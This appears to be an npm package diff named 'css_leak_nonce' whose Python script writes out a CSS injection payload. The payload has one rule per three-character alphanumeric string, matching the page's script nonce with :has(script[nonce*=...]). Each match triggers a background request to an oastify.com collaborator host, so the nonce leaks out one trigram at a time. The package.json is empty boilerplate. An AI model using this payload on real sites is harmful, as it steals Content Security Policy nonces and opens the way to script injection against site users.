css_leak_nonce 1.0.0

package/a.py

@@ -0,0 +1,17 @@
+import itertools
+
+characters = "abcdefghijklmnopqrstuvwxyz0123456789"
+
+permutations = itertools.product(characters, repeat=3)
+
+strings = [''.join(perm) for perm in permutations]
+rules = ""
+trigger = "body{ background:"
+for string in strings:
+    rules += f':has(script[nonce*="{string}"]){{--tosend-{string}: url(http://c3gvd9g0sph6rj4g5325c6lpdgj770vp.oastify.com?x={string});}}\n'
+    trigger += f'var(--tosend-{string}, none)'
+
+trigger += "}"
+with open("rules.css", "w+") as f:
+    
+        f.write(rules + "\n" + trigger + "\n")

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "css_leak_nonce",
+  "version": "1.0.0",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "description": ""
+}